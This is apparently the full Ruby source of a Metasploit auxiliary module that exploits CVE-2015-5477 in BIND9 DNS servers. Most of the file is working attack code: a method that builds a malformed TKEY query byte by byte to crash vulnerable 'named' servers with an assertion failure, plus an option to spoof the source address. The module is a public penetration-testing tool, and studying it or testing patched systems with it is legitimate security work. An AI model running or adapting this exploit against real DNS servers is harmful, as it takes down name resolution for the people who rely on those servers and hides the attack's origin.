91 lines
3.0 KiB
Ruby
91 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit4 < Msf::Auxiliary
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include Msf::Exploit::Capture
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include Msf::Auxiliary::UDPScanner
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BIND TKEY Query Denial of Service',
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'Description' => %q{
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This module sends a malformed TKEY query, which exploits an
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error in handling TKEY queries on affected BIND9 'named' DNS servers.
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As a result, a vulnerable named server will exit with a REQUIRE
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assertion failure. This condition can be exploited in versions of BIND
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between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0
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through 9.10.2-P2.
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},
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'Author' => [
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'Jonathan Foote', # Original discoverer
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'throwawayokejxqbbif', # PoC
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'wvu' # Metasploit module
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],
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'References' => [
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['CVE', '2015-5477'],
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['URL', 'https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'],
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['URL', 'https://kb.isc.org/article/AA-01272']
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],
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'DisclosureDate' => 'Jul 28 2015',
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'License' => MSF_LICENSE,
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'DefaultOptions' => {'ScannerRecvWindow' => 0}
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))
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register_options([
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Opt::RPORT(53),
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OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])
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])
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deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')
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end
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def scan_host(ip)
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if datastore['SRC_ADDR']
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scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR'])
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else
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print_status("Sending packet to #{ip}")
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scanner_send(payload, ip, rport)
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end
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end
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def payload
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name = Rex::Text.rand_text_alphanumeric(rand(42) + 1)
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txt = Rex::Text.rand_text_alphanumeric(rand(42) + 1)
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name_length = [name.length].pack('C')
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txt_length = [txt.length].pack('C')
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data_length = [txt.length + 1].pack('n')
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ttl = [rand(2 ** 31 - 1) + 1].pack('N')
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query = "\x00\x00" # Transaction ID: 0x0000
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query << "\x00\x00" # Flags: 0x0000 Standard query
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query << "\x00\x01" # Questions: 1
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query << "\x00\x00" # Answer RRs: 0
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query << "\x00\x00" # Authority RRs: 0
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query << "\x00\x01" # Additional RRs: 1
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query << name_length # [Name Length]
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query << name # Name
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query << "\x00" # [End of name]
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query << "\x00\xf9" # Type: TKEY (Transaction Key) (249)
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query << "\x00\x01" # Class: IN (0x0001)
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query << name_length # [Name Length]
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query << name # Name
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query << "\x00" # [End of name]
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query << "\x00\x10" # Type: TXT (Text strings) (16)
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query << "\x00\x01" # Class: IN (0x0001)
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query << ttl # Time to live
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query << data_length # Data length
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query << txt_length # TXT Length
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query << txt # TXT
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end
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end
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